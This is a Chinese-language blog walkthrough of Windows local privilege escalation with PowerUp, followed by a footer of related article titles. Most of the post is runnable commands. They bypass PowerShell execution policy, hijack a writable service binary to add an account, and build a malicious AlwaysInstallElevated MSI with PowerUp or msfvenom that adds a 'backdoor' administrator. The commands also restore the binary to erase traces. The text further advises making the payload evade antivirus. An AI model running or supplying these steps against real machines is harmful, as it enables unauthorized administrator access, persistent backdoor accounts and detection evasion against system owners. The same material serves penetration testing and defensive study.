PowerUp攻击模块实战
 
1.将PowerUp.ps1脚本上传至目标服务器,然后在本地执行
2.使用IEX在内存中加载此脚本,执行以下命令,脚本将进行所有的检查。
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1'); Invoke-AllChecks"
由于检查项较多,输出内容繁杂,可以导出方便分析查看。
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1'); Invoke-AllChecks" > sys.txt
 
也可以在cmd下导入模块绕过策略执行:
powershell.exe -exec bypass -Command "& {Import-Module c:\PowerUp.ps1; Invoke-AllChecks}"
可以看出,Powerup 列出了可能存在问题的所有服务,并在AbuseFunction中直接给出了利用方式。
第一部分通过 Get-ServiceUnquoted 模块(利用 windows 的一个逻辑漏洞,即当文件包含空格时,windows API 会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升)检测出了有 "Vulnerable Service"、"OmniServ"、"OmniServer"、"OmniServers" 四个服务存在此逻辑漏洞,但是都没有写入权限,所以并不能被我们利用来提权。第二部分通过 Test-ServiceDaclPermission 模块(检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则存在此漏洞)检测出当前用户可以在 "OmniServers" 服务的目录写入相关联的可执行文件,并且通过这些文件来进行提权。
 
漏洞利用原理:Windows 系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。比如,JAVA 升级程序,每次重启系统时,JAVA 升级程序会检测 Oracle 网站,是否有新版 JAVA 程序。而类似 JAVA 程序之类的系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。
 
2)测试写权限
我们可以使用 icacls(Windows 内建的一个工具,用来检查对有漏洞目录是否有写入的权限)来验证下 PowerUp 脚本检测是否正确,我们先对于检测出来的漏洞目录进行权限的检测
icacls "C:\Program Files\Windows Media Player\wmpnetwk.exe"
"Everyone" 用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。
参数说明:"M" 表示修改,"F" 代表完全控制,"CI" 代表从属容器将继承访问控制项,"OI" 代表从属文件将继承访问控制项。这意味着对该目录有读,写,删除其下的文件,删除该目录下的子目录的权限。
 
3)权限提升
在这里我们使用 AbuseFunction 那里已经给出的具体操作方式,
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Invoke-ServiceAbuse -Name 'WMPNetworkSvc' -UserName micr067 -Password admin@123
 
之后当管理员运行该服务的时候,则会添加我们的账号。(账号未添加,后续再研究)
 
4)删除痕迹
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Restore-ServiceBinary -ServiceName 'WMPNetworkSvc'
 
恢复
"C:\Program Files\Windows Media Player\wmpnetwk.exe.bak"
"C:\Program Files\Windows Media Player\wmpnetwk.exe"
l 移除备份二进制文件‘
"C:\Program Files\Windows Media Player\wmpnetwk.exe.bak"
 
上传PowerUp.ps1到目标机器
使用 Powerup 的 Get-RegistryAlwaysInstallElevated 模块来检查注册表项是否被设置,此策略在本地策略编辑器(gpedit.msc):
 
关于AlwaysInstallElevated 注册表项
Windows 环境提供组策略设置,允许常规用户安装具有系统权限的 Microsoft Windows Installer 程序包(MSI)。这可以在标准用户想要安装需要系统权限的应用程序的环境中发 现,并且管理员希望避免向用户提供临时本地管理员访问权限。Windows 环境提供组策略设置,允许常规用户安装具有系统权限的 Microsoft Windows Installer 程序包(MSI)。这可以在标准用户想要安装需要系统权限的应用程序的环境中发 现,并且管理员希望避免向用户提供临时本地管理员访问权限。
 
如果 AlwaysInstallElevated 注册表项被设置,意味着的 MSI 文件是以 system 权限运行的。命令如下,True 表示已经设置
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Get-RegistryAlwaysInstallElevated
 
也可以使用注册表查看
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
 
0x02 权限提升
接着我们需要生成恶意的MSI安装文件,让其来添加用户,第一种方法可以使用PowerUp脚本自带的 Write-UserAddMSI 模块,运行后生成文件 UserAdd.msi
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Write-UserAddMSI
然后我们以普通用户权限运行这个 UserAdd.msi,就会成功添加账户:
由于我是在payload域环境下,密码需要符合密码强度才能添加,否侧会弹窗报错!
 
添加了一个backdoor用户。
并且是管理员权限。
 
第二种方法,通过msfvenom生成一个msi后门,同样可以实现上面的功能。
 
msfvenom -f msi -p windows/adduser USER=micr067 PASS=Qwer1234! -o /root/add.msi
注意:此处对密码强度有要求,否则会报错!
meterpreter上传msi木马,然后运行即可
msiexec工具相关的参数:
/quiet=安装过程中禁止向用户发送消息
/qn=不使用图形界面
/i=安装程序
执行之后,成功添加上了该账号密码。当然这里也可以直接生成木马程序。
注:由于是msf生成的msi文件,所以默认会被杀毒软件拦截,做好免杀。
 
msiexec /quiet /qn /i C:\add.msi
成功添加用户。
 
msf下存在自动化的脚本供我们提权使用
 
exploit/windows/local/always_install_elevated
 

PowerUp攻击模块实战的更多相关文章

  1. PowerUp攻击渗透实战

    记录下PowerUp在实战渗透中的利用 准备环境: kali linux 攻击机 已获得靶机meterpreter(非管理)权限 win7 靶机  拥有powershell环境 1)Invoke-Al ...

  2. POWERUP攻击渗透实战2

    准备环境: kali linux 攻击机 已获得靶机meterpreter(非管理)权限 win7 靶机  拥有powershell环境 运用到的模块:Get-RegistryAlwaysInstal ...

  3. AFP溢出攻击模块afp/loginext

    AFP溢出攻击模块afp/loginext   在苹果Mac OS X 10.3.3及以前版本,AFP服务存在缓存区溢出漏洞CVE-2004-0430.利用该漏洞,用户可以基于LoginExt包执行任 ...

  4. (转)网站DDOS攻击防护实战老男孩经验心得分享

    网站DDOS攻击防护实战老男孩经验心得分享 原文:http://blog.51cto.com/oldboy/845349

  5. Metasploit自动攻击模块

    Metasploit自动攻击模块 Usage: db_autopwn [options] -h Display this help text -t Show all matching exploit ...

  6. 【研究】Metasploit自动攻击模块

    环境:kali-linux-2017.3-vm-amd64 一.安装postgresql数据库 apt-get install postgresql apt-get install rubygems ...

  7. Burp Suite Intruder Module - 攻击模块

    参考链接:https://portswigger.net/burp/documentation/desktop/tools/intruder/using 主要思路:在Intruder模块下设定Targ ...

  8. Python常用模块实战之ATM和购物车系统再升级

    目录 一.项目地址 二.功能需求 一.项目地址 https://github.com/nickchen121/atm 二.功能需求 FUNC_MSG = { '0': '注销', '1': '登录', ...

  9. powershell(一)

    Windows powershell是一种命令行外壳程序和脚本环境,它内置在win7以上版本的操作系统中,使命令行用户和脚本编写者可以利用.NET Framework的强大功能.powershell程 ...

随机推荐

  1. 简单说一下你对http和https的理解

    http是一种超文本传输协议,传输的数据都是未加密的,也就是显示在明面上的,是现在互联网上应用最为广泛的一种网络协议,相对来说不太安全,但是所需成本很小.http一般的端口号为80. https则是具 ...

  2. android 实现 波纹效果+图片左右无限滑动缩放效果

    项目中用到的 ,记录下.说不定下次又用到了.就提取出来了. 录制效果一般,将就看吧.代码地址如下 https://yunpan.cn/ckQaXMpYwdUnn (提取码:7ac7)

  3. 企业及监控zabbix

    Php要求必须是5.4及以上(centos 7默认是 5.4.16可以) #安装依赖库 yum -y install gcc curl curl-devel net-snmp net-snmp-dev ...

  4. Day4 总结

  5. java架构之路-(设计模式)五种创建型模式之单例模式

    设计模式自身一直不是很了解,但其实我们时刻都在使用这些设计模式的,java有23种设计模式和6大原则. 设计模式是一套被反复使用.多数人知晓的.经过分类编目的.代码设计经验的总结.使用设计模式是为了可 ...

  6. MAC sublime常用快捷键(慢慢补)

    1、 FN + 左方向键:向左选择一行 2、FN + 右方向键:向右选择一行 3、FN + 上方向键:跳到页头 4、FN + 下方向键:跳到页尾 5、FN + SHIFT + 左方向键|上方向键:从当 ...

  7. 迥异和诡异的SendMessage和PostMessage

    1       故障现象 故障现象1:能够收到SendMessage()发出的消息,但收不到PostMessage()发出的消息. 故障现象2:能够收到PostMessage()发出的消息,但收不到S ...

  8. 细谈Redis五大数据类型

    文章原创于公众号:程序猿周先森.本平台不定时更新,喜欢我的文章,欢迎关注我的微信公众号. 上一篇文章有提到,Redis中使用最频繁的有5种数据类型:String.List.Hash.Set.SortS ...

  9. 采用redis生成唯一且随机的订单号

    项目描述 最近做的一个项目有这么一个需求:需要生成一个唯一的11位的就餐码(类似于订单号的概念),就餐码的规则是:一共是11位的数字,前面6位是日期比如2019年07月20就是190720,后面五位是 ...

  10. Sentinel基本概念

     Sentinel是阿里开源的一款高性能的限流框架.这里将对Sentinel的使用和实现进行介绍.  这里先介绍下Sentinel中涉及到的基本概念,包括使用上或者实现上.主要是笔者在阅读文档和源码时 ...